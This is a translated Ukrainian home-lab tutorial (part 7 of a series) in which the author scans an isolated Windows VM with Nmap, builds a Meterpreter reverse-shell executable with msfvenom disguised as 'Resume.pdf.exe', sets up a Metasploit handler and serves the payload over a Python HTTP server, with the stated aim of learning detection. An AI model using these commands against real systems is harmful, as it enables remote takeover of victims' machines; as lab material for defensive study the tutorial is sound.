Проект #1: Домашня лабораторія з кібербезпеки: Частина 7

Створення шкідливого ПЗ:

  • Телеметрія (Telemetry) — це автоматичне збирання даних з систем, пристроїв чи мереж для моніторингу їхньої продуктивності, виявлення аномалій та ідентифікації інцидентів безпеки. Вона включає журнали, події, метрики та інші дані систем, які надсилаються до центрального місця для аналізу. Телеметрія допомагає командам безпеки зрозуміти, що сталося під час атаки, відслідковувати підозрілі дії та швидко реагувати на загрози. Вона є необхідною для виявлення, розслідування та пом'якшення кіберінцидентів.
  • Причина, чому я хочу генерувати телеметрію, полягає в тому, щоб почати вивчати, як виявляти шкідливі дії.
  • Kali VM буде атакуючою машиною, а Windows — цільовою машиною. Я використаю Nmap на Kali для сканування цільової машини, щоб з’ясувати, які порти відкриті, і потім створю власне шкідливе ПЗ.
  • Спочатку, перед тим як створювати шкідливе ПЗ та починати змінювати налаштування і так далі, я зроблю знімок стану віртуальної машини (VM), щоб після цього знову повернутися до незмінного стану після завершення роботи з цією лабораторією.
  • Знімок — це резервна копія віртуальної машини.
  • Для цього у VirtualBox я відкриваю меню поруч з назвою віртуальної машини.
  • З’являється випадаюче меню, в якому я можу вибрати різні опції, такі як деталі, журнали, активність, файловий менеджер та, звісно, знімки для цієї конкретної віртуальної машини.

pic

  • Клікаючи на опцію Знімки, я побачу кілька різних варіантів, де можна зробити, видалити, відновити знімки і так далі.

pic

  • Коли я натисну «Зробити», я зможу назвати резервну копію, а також описати її.
  • Я вибрав назву «baseline» і додав це в опис.

pic

  • Тепер він повинен бути в списку.

pic

  • Тепер, коли я також завантажив всі потрібні інструменти, я перейду від мережі NAT до внутрішньої мережі (Internal network), (оскільки я буду працювати зі шкідливим ПЗ), щоб не бути підключеним до Інтернету.
  • Те саме я зроблю і для Kali, і нарешті зможу розпочати.
  • Для початку я зафіксую IP-адресу Kali VM, щоб використати її для створення шкідливого ПЗ пізніше.
  • Для цього я відкриваю термінал і набираю команду “ifconfig”.

pic

  • Тепер, коли я записав це для подальшого використання, я переходжу до запуску Nmap.
  • Nmap (Network Mapper) — це безкоштовний, відкритий інструмент для виявлення мереж і аудиту безпеки. Він сканує мережі та системи для виявлення хостів, служб, відкритих портів та потенційних вразливостей. Nmap допомагає адміністраторам мереж планувати мережу, виявляти працюючі служби та визначати потенційні слабкі місця або некоректні налаштування, які можуть бути використані атакуючими. Це широко використовуваний інструмент для оцінки безпеки мережі та усунення несправностей.
  • У тому ж терміналі я набрав команду “nmap -h”.
  • Ця команда виводить усі доступні опції для nmap, які можна використати, зокрема для виявлення хостів, технік сканування, скриптів, виявлення ОС, обходу брандмауера/IDS і підробки ідентифікаторів тощо.

pic

  • Я буду використовувати опцію -A для сканування ВСІХ параметрів на цільовій машині, разом з -Pn, щоб пропустити пінги.
  • Команда буде виглядати так: “nmap -A 192.168.20.10 -Pn”.
  • Спочатку сканування не відбулося належним чином, бо я забув повернутися до цільової машини Windows і вимкнути брандмауер Windows Defender, щоб Nmap міг коректно сканувати відкриті порти.

pic

  • Тепер, коли я запускаю Nmap на Kali, він має правильно сканувати.
    Перевірка вимкнення брандмауера:

  • Щоб перевірити, чи вимкнений брандмауер, я пінгував цільову машину з Kali, і все працювало ідеально.

  • Після того, як я використав команду “nmap -A 192.168.20.10 -Pn”, я отримав багато корисної інформації.

  • Серед цієї інформації є кількість відкритих портів на цільовій машині.

  • Ось деякі з них:

  • 135/tcp (Microsoft Remote Procedure Call, MSRPC)

  • 139/tcp (NetBIOS-SSN, NetBIOS Session Service)

  • 445/tcp (Microsoft-DS)

  • 8000/tcp (HTTP — Splunkd)

  • І ще кілька відкритих портів.

  • Помилка mass_dns вгорі результатів виникає через те, що моя Kali VM не може знайти правильну конфігурацію DNS. Це не заважає скануванню, але впливає на зворотні DNS-запити.

  • Я не буду додавати правильний DNS-сервер, оскільки я виконую лише базове сканування.

pic

  • Тепер, коли я зафіксував відкриті порти, можу перейти до створення базового шкідливого ПЗ.
  • Для цього я використаю MSFvenom.
  • Коротко, інструмент MSFVenom є частиною Metasploit Framework і використовується для створення кастомізованих пейлоадів для експлуатації. Він поєднує msfpayload та msfencode для генерації та кодування пейлоадів, щоб уникнути виявлення антивірусним програмним забезпеченням.
  • Я не буду намагатися уникати виявлення, моєю метою є просто вивчити, як ідентифікувати шкідливе ПЗ.
  • Набираючи команду msfvenom в терміналі, я отримую список команд, які можу використовувати з інструментом.
  • Я почну створювати шкідливе ПЗ, використовуючи Meterpreter reverse shell як мій пейлоад.
  • Meterpreter reverse shell — це пейлоад, який дає атакуючому доступ до віддаленої цільової машини.
  • “Meterpreter” — це потужна, модульна оболонка з Metasploit для пост-експлуатаційних завдань (наприклад, завантаження файлів та управління процесами).
  • “Reverse shell” — це коли цільова машина підключається назад до машини атакуючого, обходячи брандмауери та NAT.
  • Моя мета — отримати контроль над цільовою машиною (Windows).
  • Щоб отримати список пейлоадів, які я можу використовувати з MSFVenom, я можу використовувати команду -l payloads.
  • Після запуску команди “msfvenom -l payloads” я отримав дуже довгий список доступних пейлоадів, які виконують різні завдання.
  • Як ви бачите, всього є 1468 пейлоадів.

pic

  • Я буду використовувати пейлоад “windows/x64/meterpreterreversetcp”.
  • Як ви бачите з опису праворуч, цей пейлоад: “Підключається до атакуючого та створює Meterpreter оболонку. Потрібен Windows XP SP2 або новіша версія.”

pic

  • Для використання цього пейлоаду я використаю команду: “msfvenom -p windows/x64/meterpreterreversetcp lhost=192.168.20.11 lport=4444 -f exe -o Resume.pdf.exe”.
  • Команда -p вказує пейлоад, який я хочу згенерувати.
  • Потім я вказую, який саме пейлоад я хочу створити.
  • Далі я вказую IP-адресу хоста (IP атакуючого). Це потрібно, щоб цільова машина підключилася назад.
  • Потім я вказую порт, 4444 — це порт за замовчуванням для Meterpreter (але може бути будь-яким). Цей порт буде слухати з’єднання від цільової машини.
  • -f вказує формат пейлоаду (Windows executable).
  • “exe” говорить msfvenom вивести пейлоад як виконуваний файл Windows.
  • -o вказує ім’я файлу виведення, а потім я вказую ім’я файлу.
  • Файл повинен бути згенерований правильно, і для перевірки я можу просто використати команду “ls” для перегляду.

pic

  • Тепер, коли в мене є виконуваний пейлоад, я можу відкрити хендлер, який буде слухати на порту, який я налаштував у своєму шкідливому ПЗ.
  • “Handler” — це прослуховувач, налаштований на машині атакуючого (Kali), який чекає на підключення від цільової системи після виконання пейлоаду.
    Отже, цей процес виконує 2 основні функції:
  • Він приймає з'єднання: коли шкідливе ПЗ (reverse shell) запускається на цільовій машині, воно підключається до хендлера (на порті 4444).
  • Воно також контролює сесію: хендлер управляє з'єднанням і дозволяє мені взаємодіяти з цільовою машиною (наприклад, виконуючи команди за допомогою Meterpreter).
  • Для цього мені потрібно відкрити Metasploit у терміналі за допомогою команди “msfconsole”.

pic

  • Щоб використовувати хендлер, я повинен ввести команду “use exploit/multi/handler”.
  • Після натискання Enter я повинен опинитися в самому експлойті.

pic

  • Потім я використовую команду “options”, щоб побачити, що саме я можу налаштувати.
  • Я помітив, що поруч з опціями Payload відображається (generic/shellreversetcp).
  • Я повинен змінити це на той самий пейлоад, який ми використовували раніше.
  • Для цього використовую команду: “set payload windows/x64/meterpreter/reverse_tcp”.
  • Після введення команди, якщо натисну на Tab, я побачу доступні варіанти цієї команди.

pic

pic

  • Тепер, коли я використовую команду “options”, вона повинна виглядати по-іншому.

pic

  • Тепер для хендлера я також повинен змінити LHOST на IP-адресу атакуючої машини. Порт налаштований правильно.
  • Для цього: “set lhost 192.168.20.11”.
  • Тепер, коли я використовую команду “options”, вона повинна показати IP-адресу Kali.

pic

Щоб запустити хендлер, я просто вводжу команду: “exploit”.

pic

  • Тепер хендлер слухає і чекає на виконання шкідливого ПЗ на цільовій машині.
  • Тепер, коли пейлоад і хендлер налаштовані правильно, я повинен налаштувати HTTP сервер на машині Kali, щоб цільова машина могла завантажити шкідливе ПЗ.
  • Це необхідно, оскільки мої VM перебувають в приватній мережі і не можуть безпосередньо підключатися до Інтернету.
  • Це дозволить цільовій машині завантажити шкідливе ПЗ локально через внутрішню мережу.
  • Я можу зробити це, використовуючи Python або запустивши Apache-сервіс.
  • Я використаю Python.
  • Для цього я повинен відкрити нову вкладку в терміналі Kali і переконатися, що я перебуваю в тій самій директорії, що й моє шкідливе ПЗ.

pic

  • Щоб запустити сервер, я використовую команду: “python3 -m http.server 9999”.
  • “python3” вказує, що я використовую версію Python 3 для виконання команди.
  • “-m” — це прапорець, що вказує Python запускати модуль (замість скрипта чи файлу).
  • “http.server” — це модуль, який запускається. Він створює простий HTTP сервер, який обслуговує файли з поточної директорії.
  • “9999” — це номер порту, на якому HTTP сервер буде слухати. Я вибрав порт, який не використовується.
  • Простими словами, ця команда запускає простий веб-сервер, який обслуговує файли з поточної директорії через HTTP.

pic

  • Тепер цільова машина повинна мати змогу підключитися до машини атакуючого і завантажити шкідливе ПЗ звідти.
  • Все налаштовано на машині атакуючого (Kali).

Перекладено з: Project #1: Cybersecurity HomeLab: Part 7

Leave a Reply

Your email address will not be published. Required fields are marked *